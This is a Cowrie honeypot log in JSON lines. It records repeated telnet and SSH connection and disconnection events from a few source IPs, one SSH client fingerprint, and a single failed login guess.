{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"676f1303e81d","protocol":"telnet","message":"New connection: 103.208.219.59:36912 (10.17.0.5:23) [session: 676f1303e81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:44.135789Z"}
{"eventid":"cowrie.session.closed","duration":31.000683784484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:44.352322Z","src_ip":"103.208.219.59","session":"c098da20ffdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.35747981071472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:44.465888Z","src_ip":"64.227.9.242","session":"a611ec29e73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189478158950806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:45.959899Z","src_ip":"103.208.219.59","session":"b5e1e24c7d62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56946,"dst_ip":"159.203.135.109","dst_port":23,"session":"758baa95636d","protocol":"telnet","message":"New connection: 64.227.9.242:56946 (159.203.135.109:23) [session: 758baa95636d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:46.464886Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":36920,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7fe7e421606","protocol":"telnet","message":"New connection: 103.208.219.59:36920 (10.17.0.5:23) [session: d7fe7e421606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:46.716231Z"}
{"eventid":"cowrie.session.closed","duration":46.73268985748291,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:48.393606Z","src_ip":"188.208.141.113","session":"2593545fb2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33960,"dst_ip":"10.17.0.5","dst_port":23,"session":"639fa7fca177","protocol":"telnet","message":"New connection: 104.167.8.156:33960 (10.17.0.5:23) [session: 639fa7fca177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:49.158895Z"}
{"eventid":"cowrie.session.closed","duration":33.62858557701111,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:50.604216Z","src_ip":"64.227.9.242","session":"fbaef6a64c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48260,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5797b4df2b5","protocol":"telnet","message":"New connection: 98.70.41.28:48260 (159.203.135.109:23) [session: a5797b4df2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:50.938441Z"}
{"eventid":"cowrie.session.closed","duration":31.9761962890625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:52.877419Z","src_ip":"103.208.219.59","session":"10cdd78f5af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.420292377471924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:53.383036Z","src_ip":"103.208.219.59","session":"e8d48ee05da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16069269180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:54.403008Z","src_ip":"103.208.219.59","session":"c10085b1bfd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960176467895508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.479637Z","src_ip":"103.208.219.59","session":"dca91a87246c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697469472885132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.496508Z","src_ip":"103.208.219.59","session":"fed4329c3941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.20.254.47","src_port":48366,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9cdfd161aab","protocol":"ssh","message":"New connection: 157.20.254.47:48366 (10.17.0.5:22) [session: f9cdfd161aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.582829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.591830Z","src_ip":"157.20.254.47","session":"f9cdfd161aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.830307Z","src_ip":"157.20.254.47","session":"f9cdfd161aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":38940,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bd21638308","protocol":"telnet","message":"New connection: 103.208.219.59:38940 (10.17.0.5:23) [session: 54bd21638308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:55.960768Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"test","message":"login attempt [john/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:56.856341Z","src_ip":"157.20.254.47","session":"f9cdfd161aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:58.153516Z","src_ip":"157.20.254.47","session":"f9cdfd161aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.432512283325195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:59.352080Z","src_ip":"103.208.219.59","session":"ef46b94151f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54094,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09a1ffba0c8","protocol":"telnet","message":"New connection: 103.208.219.59:54094 (10.17.0.5:23) [session: c09a1ffba0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:59.439707Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39700,"dst_ip":"10.17.0.5","dst_port":23,"session":"690c80f7040f","protocol":"telnet","message":"New connection: 188.208.141.113:39700 (10.17.0.5:23) [session: 690c80f7040f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:59.546252Z"}
{"eventid":"cowrie.session.closed","duration":31.205761432647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:59.947952Z","src_ip":"103.208.219.59","session":"c87c5a22d91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54096,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30391428dd1","protocol":"telnet","message":"New connection: 103.208.219.59:54096 (10.17.0.5:23) [session: e30391428dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:00.432819Z"}
{"eventid":"cowrie.session.closed","duration":31.305413722991943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:00.988315Z","src_ip":"103.208.219.59","session":"9815623289b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59728741645813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:01.068779Z","src_ip":"103.208.219.59","session":"9ec13094b5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40596,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1efbbe6de9","protocol":"telnet","message":"New connection: 188.208.141.113:40596 (10.17.0.5:23) [session: 7f1efbbe6de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:01.117048Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7383dfc3b712","protocol":"telnet","message":"New connection: 188.208.141.113:40598 (10.17.0.5:23) [session: 7383dfc3b712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:01.490276Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54110,"dst_ip":"10.17.0.5","dst_port":23,"session":"becda0fdc3a1","protocol":"telnet","message":"New connection: 103.208.219.59:54110 (10.17.0.5:23) [session: becda0fdc3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:01.855391Z"}
{"eventid":"cowrie.session.closed","duration":30.40987801551819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:02.252753Z","src_ip":"103.208.219.59","session":"abe06c81828c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69066572189331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:02.455255Z","src_ip":"103.208.219.59","session":"1f8cf7fd3e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"024e70556f72","protocol":"telnet","message":"New connection: 188.208.141.113:40614 (10.17.0.5:23) [session: 024e70556f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:02.675198Z"}
{"eventid":"cowrie.session.closed","duration":31.555004358291626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:03.874946Z","src_ip":"103.208.219.59","session":"0960774008f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40620,"dst_ip":"10.17.0.5","dst_port":23,"session":"996a2fccc4c9","protocol":"telnet","message":"New connection: 188.208.141.113:40620 (10.17.0.5:23) [session: 996a2fccc4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:04.710440Z"}
{"eventid":"cowrie.session.closed","duration":30.81942868232727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:05.206962Z","src_ip":"103.208.219.59","session":"43739addbc19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54116,"dst_ip":"10.17.0.5","dst_port":23,"session":"411a80e5b57d","protocol":"telnet","message":"New connection: 103.208.219.59:54116 (10.17.0.5:23) [session: 411a80e5b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:05.312971Z"}
{"eventid":"cowrie.session.closed","duration":3.9499731063842773,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:05.440095Z","src_ip":"188.208.141.113","session":"7383dfc3b712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54128,"dst_ip":"10.17.0.5","dst_port":23,"session":"80cf1321c676","protocol":"telnet","message":"New connection: 103.208.219.59:54128 (10.17.0.5:23) [session: 80cf1321c676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:06.242308Z"}
{"eventid":"cowrie.session.closed","duration":46.116795778274536,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:06.797499Z","src_ip":"188.208.141.113","session":"ec68567a366f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.883657693862915,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:08.873983Z","src_ip":"188.208.141.113","session":"b35c232e1ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51460,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a01c192faf","protocol":"telnet","message":"New connection: 188.208.141.113:51460 (10.17.0.5:23) [session: 40a01c192faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:12.803298Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51466,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be04bdd0c88","protocol":"telnet","message":"New connection: 188.208.141.113:51466 (10.17.0.5:23) [session: 6be04bdd0c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:12.932718Z"}
{"eventid":"cowrie.session.closed","duration":31.876686573028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:13.995298Z","src_ip":"103.208.219.59","session":"b89ff05d8b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771467685699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:14.105305Z","src_ip":"103.208.219.59","session":"68238a42f5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19490361213684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:15.330569Z","src_ip":"103.208.219.59","session":"676f1303e81d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477559328079224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:17.193648Z","src_ip":"103.208.219.59","session":"d7fe7e421606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33694,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc61d2f582f","protocol":"telnet","message":"New connection: 103.208.219.59:33694 (10.17.0.5:23) [session: 0dc61d2f582f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:17.302177Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a59694b86fe","protocol":"telnet","message":"New connection: 103.208.219.59:33698 (10.17.0.5:23) [session: 1a59694b86fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:17.677197Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33714,"dst_ip":"10.17.0.5","dst_port":23,"session":"af533f4d4266","protocol":"telnet","message":"New connection: 103.208.219.59:33714 (10.17.0.5:23) [session: af533f4d4266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:18.116869Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51470,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a54d668505d","protocol":"telnet","message":"New connection: 188.208.141.113:51470 (10.17.0.5:23) [session: 8a54d668505d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:18.464018Z"}
{"eventid":"cowrie.session.closed","duration":37.276867628097534,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:19.098321Z","src_ip":"188.208.141.113","session":"84129ee5ee5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33718,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f01bc96f4a","protocol":"telnet","message":"New connection: 103.208.219.59:33718 (10.17.0.5:23) [session: 91f01bc96f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:20.483051Z"}
{"eventid":"cowrie.session.closed","duration":31.42245054244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:20.581244Z","src_ip":"104.167.8.156","session":"639fa7fca177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54164,"dst_ip":"10.17.0.5","dst_port":23,"session":"16a8ea0a02fe","protocol":"telnet","message":"New connection: 206.189.32.23:54164 (10.17.0.5:23) [session: 16a8ea0a02fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:20.936213Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33720,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cd7b3a72e3","protocol":"telnet","message":"New connection: 103.208.219.59:33720 (10.17.0.5:23) [session: c3cd7b3a72e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:21.456706Z"}
{"eventid":"cowrie.session.closed","duration":35.22296142578125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:21.687687Z","src_ip":"64.227.9.242","session":"758baa95636d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18075466156006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:22.119019Z","src_ip":"98.70.41.28","session":"a5797b4df2b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33730,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55a7f51bcf2","protocol":"telnet","message":"New connection: 103.208.219.59:33730 (10.17.0.5:23) [session: e55a7f51bcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:23.680476Z"}
{"eventid":"cowrie.session.closed","duration":46.75282907485962,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:25.918596Z","src_ip":"188.208.141.113","session":"eabcf577b252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33734,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc04b16df98","protocol":"telnet","message":"New connection: 103.208.219.59:33734 (10.17.0.5:23) [session: 5bc04b16df98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:26.768834Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41446,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a89c702958","protocol":"telnet","message":"New connection: 64.227.9.242:41446 (159.203.135.109:23) [session: e3a89c702958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:27.108716Z"}
{"eventid":"cowrie.session.closed","duration":31.83121633529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:27.791856Z","src_ip":"103.208.219.59","session":"54bd21638308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a84820b5f39","protocol":"telnet","message":"New connection: 188.208.141.113:53846 (10.17.0.5:23) [session: 0a84820b5f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:28.925483Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53854,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf560c13d3e1","protocol":"telnet","message":"New connection: 188.208.141.113:53854 (10.17.0.5:23) [session: bf560c13d3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:28.998682Z"}
{"eventid":"cowrie.session.closed","duration":31.01055645942688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:30.450159Z","src_ip":"103.208.219.59","session":"c09a1ffba0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91221833229065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:31.344920Z","src_ip":"103.208.219.59","session":"e30391428dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63860297203064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:32.493853Z","src_ip":"103.208.219.59","session":"becda0fdc3a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":47338,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c328a3d68cc","protocol":"telnet","message":"New connection: 103.208.219.59:47338 (10.17.0.5:23) [session: 0c328a3d68cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:35.474615Z"}
{"eventid":"cowrie.session.closed","duration":30.98650550842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:36.299330Z","src_ip":"103.208.219.59","session":"411a80e5b57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":37084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca58d372c090","protocol":"telnet","message":"New connection: 103.208.219.59:37084 (10.17.0.5:23) [session: ca58d372c090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:36.932989Z"}
{"eventid":"cowrie.session.closed","duration":30.99824023246765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:37.240423Z","src_ip":"103.208.219.59","session":"80cf1321c676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57878,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba03b2b921c9","protocol":"telnet","message":"New connection: 64.227.9.242:57878 (159.203.135.109:23) [session: ba03b2b921c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:39.768923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":37098,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b61c53ce58","protocol":"telnet","message":"New connection: 103.208.219.59:37098 (10.17.0.5:23) [session: 83b61c53ce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:40.772910Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56922,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f849008f18","protocol":"telnet","message":"New connection: 188.208.141.113:56922 (10.17.0.5:23) [session: c0f849008f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:40.835700Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56938,"dst_ip":"10.17.0.5","dst_port":23,"session":"f768399a8306","protocol":"telnet","message":"New connection: 188.208.141.113:56938 (10.17.0.5:23) [session: f768399a8306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:48:41.267333Z"}
